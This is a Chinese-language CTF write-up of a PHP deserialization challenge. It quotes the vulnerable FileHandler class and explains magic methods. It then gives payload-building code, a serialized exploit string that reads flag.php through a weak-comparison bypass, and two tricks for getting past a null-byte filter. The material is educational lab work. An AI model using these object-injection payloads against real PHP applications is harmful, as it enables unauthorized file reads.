源码分析
get方法获得str
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
反序列化赋值给obj
看看这个类
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
__construct 当一个对象创建时被调用
__destruct 当一个对象销毁时被调用
__toString 当一个对象被当作一个字符串使用
__sleep 在对象被序列化之前运行
__wakeup 在对象被反序列化之后被调用
类中的成员
op=1 filename content 长度小于100 写文件
op=2 filename 读文件
析构函数 op:2--->1 如果op=2则修改成1,再用空文件写入覆盖,所以不能让他成功执行,由于op==="2"用的是字符串强比较,故而可以利用弱类型比较让op=1 (int型)绕过if判断
构造反序列化
注:类名要相同,成员名字也要相同
class FileHandler
{
protected $op;
protected $filename;
protected $content;
public function __construct($op,$filename,$content)
{
$this->op=$op;
$this->filename=$filename;
$this->content=$content;
}
}
$ccc=new FileHandler(2,"flag.php","accc");
$key=serialize($ccc);
echo($key);
得到
O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";s:4:"accc";}
绕过过滤
如果是protected则会有无法显示的字符\x00*\x00
,且ascii为0,会被过滤
如果是private则会在变量名前加上\x00类名\x00
一般需要url编码,若在本地存储更推荐采用base64编码的形式,如下:echo base64_decode($str);
本题有两种方法绕过过滤
一:php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public就可以了。
二:把s改成大写,以16进制表示
重要
php7.1+版本对属性类型不敏感
类名要相同,成员名字也要相同